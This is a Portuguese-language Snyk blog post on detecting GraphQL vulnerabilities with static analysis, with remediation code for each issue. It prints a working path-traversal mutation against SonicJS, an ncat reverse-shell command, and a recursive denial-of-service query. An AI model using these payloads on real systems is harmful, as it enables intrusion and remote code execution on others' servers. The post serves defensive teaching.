Skip to main content

Como aprimorar a segurança do GraphQL com análise estática e Snyk Code

Escrito por
Headshot of Sam Sanoop

Sam Sanoop

feature snyk code orange

12 de abril de 2022

0 minutos de leitura

GraphQL é uma linguagem de consulta para APIs desenvolvida pelo Facebook em 2015. Desde então, seus recursos e funcionalidades exclusivos fizeram dele uma alternativa viável às APIs REST. Em termos de segurança, os servidores GraphQL podem apresentar diversos tipos de configurações incorretas que resultam em comprometimento de dados, problemas de controle de acesso e outras vulnerabilidades de alto risco.

Embora os problemas de segurança do GraphQL sejam amplamente conhecidos, há poucas informações sobre como encontrá-los fora do uso da análise dinâmica. Neste post, vamos explicar como vulnerabilidades comuns do GraphQL aparecem em uma base de código e como encontrá-las usando ferramentas de análise estática e o GraphQL Security. Como muitos frameworks GraphQL amplamente utilizados fazem parte do npm, vamos nos concentrar em exemplos do ecossistema NodeJS.

Análise de fluxo de dados contaminados em frameworks GraphQL

Injeções de SQL e vulnerabilidades de desserialização foram relatadas em diversos estudos sobre endpoints GraphQL. Um exemplo disso está no relatório da HackerOne, que mostra uma injeção de SQL por meio de um parâmetro GraphQL.

Assim como os parâmetros de uma API REST, os argumentos do GraphQL podem introduzir entradas do usuário no aplicativo e, por isso, são uma fonte de dados contaminados. As ferramentas de análise estática devem conseguir identificar e modelar esses parâmetros com precisão no aplicativo.

Nos frameworks GraphQL, os resolvers fazem a correspondência entre o esquema, a função e os argumentos antes de encaminhá-los às funções resolver. O exemplo a seguir mostra o argumento args como um objeto que contém todos os argumentos GraphQL fornecidos para o campo pela operação GraphQL.

const resolvers = {
  Query: {
    user(parent, args, context, info) {
      return runFunction(args.parameter);
    }
  }
}

Essas expressões args podem ser rastreadas pelo mecanismo Snyk Code, que usa análise de apontamento e análise de estado de tipos para registrar com precisão a execução do programa. A análise do SonicJS pelo Snyk Code, um sistema moderno de gerenciamento de conteúdo de código aberto baseado em NodeJS, é um exemplo útil.

O SonicJS ajuda os usuários a realizar operações de CMS por meio de seu endpoint GraphQL. Uma dessas operações é a mutação fileUpdate, que permite ao usuário atualizar seus arquivos.

    fileUpdate: {
      type: FileType,
      args: {
        filePath: { type: new GraphQLNonNull(GraphQLString) },
        fileContent: { type: new GraphQLNonNull(GraphQLString) },
        sessionID: { type: GraphQLString },
      },
      resolve(parent, args) {
        fileService.writeFile(args.filePath, args.fileContent);
        let fileData = new FileData(args.filePath, args.fileContent);
        return fileData;
      },

(código-fonte)

Essa consulta de mutação recebe entradas fornecidas pelo usuário chamadas args.filePath e args.fileContent, que são então passadas à função writeFile do objeto fileService. A implementação da função do objeto fileService está em server/services/file.service.js e pode ser vista abaixo.

    writeFile: async function (filePath, fileContent) {
      Let fullPath = path.join(this.getRootAppPath(), filePath);
      Await fsPromise.writeFile(fullPath, fileContent);
    },

(código-fonte)

Essa função recebe os argumentos do GraphQL e usa a função fs.writeFile para atualizar o arquivo no caminho informado. No entanto, ela pode ser explorada para percorrer o diretório do aplicativo e criar um novo arquivo em qualquer lugar do sistema-alvo, como na consulta GraphQL a seguir:

mutation {

fileUpdate(
filePath: "../../../../../../../../../../../../tmp/test.txt",
fileContent: "exploitable",
sessionID:"nosessioncheckinplace"
){
filePath
fileContent
}
}

Essa vulnerabilidade permite executar código no sistema ao sobrescrever um dos arquivos de serviço do SonicJS com JavaScript malicioso, carregado pelo sistema SonicJS durante a inicialização ou reinicialização. Por exemplo, a instrução a seguir usa a função child_process para instalar uma porta dos fundos no aplicativo e se conectar a um endereço IP controlado por um invasor, aproveitando o programa ncat instalado no sistema-alvo.

require("child_process").exec('ncat 127.0.0.1 4445 -e /bin/bash')
Interface do GraphQL que exibe uma mutação fileUpdate com um caminho de arquivo e um payload de comando shell, junto com a resposta JSON retornada.

Veja abaixo o relatório do Snyk Code sobre essa vulnerabilidade:

Análise de segurança do código que mostra uma vulnerabilidade de travessia de caminho no GraphQL e o fluxo de dados até uma função de gravação de arquivo

Para evitar essa vulnerabilidade no futuro, o SonicJS pode exigir autenticação e autorização para a consulta e validar o caminho do arquivo fornecido, garantindo que caracteres especiais como ../ não sejam permitidos.

Introspecção do GraphQL

O sistema de introspecção do GraphQL pode ser usado para descobrir quais consultas são aceitas por um servidor GraphQL. Isso inclui tipos, campos, consultas, mutações e outras informações relacionadas a um esquema GraphQL.

Embora seja um recurso, e não um problema de segurança direto, a introspecção muitas vezes pode ser usada para encontrar funcionalidades ocultas que um invasor pode explorar.

No ecossistema NodeJS, os frameworks JavaScript costumam ativar a introspecção por padrão, o que pode não ficar claro para os desenvolvedores. Assim, ao usar o framework GraphQL sem especificar configurações, como no exemplo abaixo com express-graphql, a introspecção é ativada automaticamente.

import express from 'express'
import graphqlHTTP from 'express-graphql'
import Myschema from './schema'

const app = express();
app.use('/graphql', graphqlHTTP((req, res) => ({ 
  Schema: MySchema,
})))

Veja abaixo um exemplo desse relatório no Snyk Code:

Tela de análise de segurança mostrando “Introspection Enabled” para um servidor Apollo GraphQL, com código definindo a introspecção como true.

Como pode haver casos legítimos em que a introspecção seja necessária em um aplicativo de produção, esse problema foi classificado como baixo risco.

Para desativar a introspecção no express-graphql, use a regra NoSchemaIntrospectionCustomRule fornecida pelo graphql-js.

import express from 'express'
import graphqlHTTP from 'express-graphql'
import Myschema from './schema'
import { specifiedRules, NoSchemaIntrospectionCustomRule } from 'graphql';

const app = express();
app.use('/graphql', graphqlHTTP((req, res) => ({ 
  Schema: MySchema,
validationRules: [...specifiedRules, NoSchemaIntrospectionCustomRule],
})))

Embora a introspecção em produção possa levar a problemas de segurança, ela costuma ser necessária durante o desenvolvimento. Os criadores do ApolloServer resolveram esse problema ativando ou desativando a introspecção conforme o status de produção.

// introspection is only enabled based on NODE_ENV
const apolloServer = new ApolloServer({
  schema,
  introspection: process.env.NODE_ENV !== 'production' && CUSTOM_ENV !== 'production',
});
export default apolloServer;

Se você usa outro framework GraphQL, pode recorrer a uma biblioteca de terceiros, como o pacote graphql-disable-introspection, para validar regras no seu endpoint GraphQL.

Negação de serviço no GraphQL

Cada consulta tem uma profundidade de objetos aninhados que pode ser processada por um endpoint GraphQL. A maioria dos frameworks GraphQL não define um limite de profundidade padrão. Consultas sem limite de profundidade podem deixar o framework vulnerável a ataques de negação de serviço (DoS), como no exemplo a seguir:

{
    one {
        two {
            one {
                two {
                    one…
                }
            }
        }
    }
}

No entanto, para que esse problema possa ser explorado, o servidor GraphQL precisa ter um padrão recursivo de tipos de campo com uma relação bidirecional. Veja abaixo um exemplo desse relatório no Snyk Code:

Tela de análise de código com o título “Negação de serviço (DoS) por meio de consultas GraphQL aninhadas”, destacando uma configuração graphqlHTTP em server.js.

Essa vulnerabilidade de DoS foi encontrada no mevn-cli. Para corrigi-la, você pode usar o pacote graphql-depth-limit, disponível no npm, da seguinte forma:

import depthLimit from 'graphql-depth-limit'
import express from 'express'
import graphqlHTTP from 'express-graphql'
import schema from './schema'

const app = express() 
app.use('/graphql', graphqlHTTP((req, res) => ({ 
  schema,
  validationRules: [ depthLimit(10) ]
})))

Confira este commit do repositório mevn-cli para ver um exemplo dessa correção.

Outra maneira de evitar ataques de DoS é verificar o tamanho do corpo da solicitação no seu endpoint GraphQL. Consultas grandes podem indicar ataques de DoS; por isso, monitorar o tamanho das consultas é uma verificação simples e eficaz.

// query length is checked here to prevent DoS
  app.use('/graphql', graphqlExpress((req) => {     
 const query = req.query.query || req.body.query;
    if (query && query.length > 2000) {
      // Normal GraphQL queries are not this long
      // Probably indicates someone trying to send an overly expensive query
      throw new Error('Query too large.');
    }

    return {
      schema,
      context: Object.assign({}, context),
      debug: true,
    };
  }));

Injeção de GraphQL

Ao permitir que um invasor interfira em uma consulta do aplicativo, uma injeção de GraphQL dá a agentes mal-intencionados acesso a dados que normalmente não conseguiriam obter, incluindo dados de usuários ou quaisquer outros dados acessíveis pelo aplicativo. Em muitos casos, esses dados podem ser modificados ou excluídos, causando mudanças persistentes no conteúdo e no comportamento do aplicativo.

@octokit/core é uma biblioteca minimalista criada para usar as APIs REST e GraphQL do GitHub na criação de consultas GraphQL. Quando entradas do usuário são usadas para criar uma consulta GraphQL dinamicamente, um invasor pode conseguir modificá-la para acessar informações confidenciais. Veja abaixo um exemplo desse problema:

app.get('/', async function(req, res) {

    let user = req.query.page;

    const { articles } = await octokit.graphql(
        `
          query lastIssues($owner: String!, $repo: String!) {
            repository(owner: ${input}, name: $repo) {
              issues(last: $num) {
                edges {
                  node {
                    title
                  }
                }
              }
            }
          }
        `,
        {
          owner: "octokit",
          repo: "graphql.js",
        }
      );

Veja abaixo um exemplo desse relatório no Snyk Code.

Análise de segurança GraphQL do Snyk Code mostrando uma entrada HTTP não sanitizada sendo usada em uma consulta GraphQL em código JavaScript

Para evitar injeções de GraphQL, não passe parâmetros inseridos pelo usuário diretamente para uma consulta GraphQL. Se a entrada direta do usuário for necessária por motivos de desempenho, valide-a usando uma lista de permissões rigorosa de caracteres permitidos — evitando caracteres especiais como ? & / < > ; - e o espaço — e, se possível, use uma rotina de escape fornecida pelo fornecedor.

Conclusão

Atualmente, o Snyk Code oferece suporte aos seguintes frameworks GraphQL por meio de diversas regras semânticas e de análise de fluxo de dados contaminados:

  • express-graphql

  • koa-graphql

  • mercurius

  • apollo-server

  • graphql-js

Esperamos ampliar o suporte a vulnerabilidades GraphQL, como problemas de referência direta a objetos inseguros e de controle de acesso. Embora atualmente o GraphQL seja compatível com JavaScript, nosso objetivo é adicionar suporte a mais linguagens de programação e regras de qualidade de código para lidar com problemas como ataques por processamento em lote e complexidade de consultas.

Comece a jogar Capture the Flag

Aprenda a resolver desafios de Capture the Flag assistindo à gravação sob demanda do nosso workshop virtual introdutório.

Leia mais

feature insights context
Blog

Os ataques autônomos já chegaram. A defesa precisa acompanhar o ritmo.

Os atacantes autônomos estão reduzindo o tempo disponível para a defesa. Saiba como a descoberta, a correção, a validação e a prevenção contínuas ajudam as equipes de segurança a acompanhar esse ritmo.

illustration hero ai
Blog

O furacão da IA chegou

A IA está acelerando tanto a criação de software quanto os ataques cibernéticos. As lideranças devem proteger agentes e código desde o início, aplicar controles em tempo de execução e validar as defesas de forma independente.

feature insights context
Blog

A prevenção é essencialmente um problema resolvido?

A prevenção em código gerado por agentes está resolvida do ponto de vista arquitetural — mas escolher controles que protejam a segurança sem desacelerar o desenvolvimento continua sendo um desafio.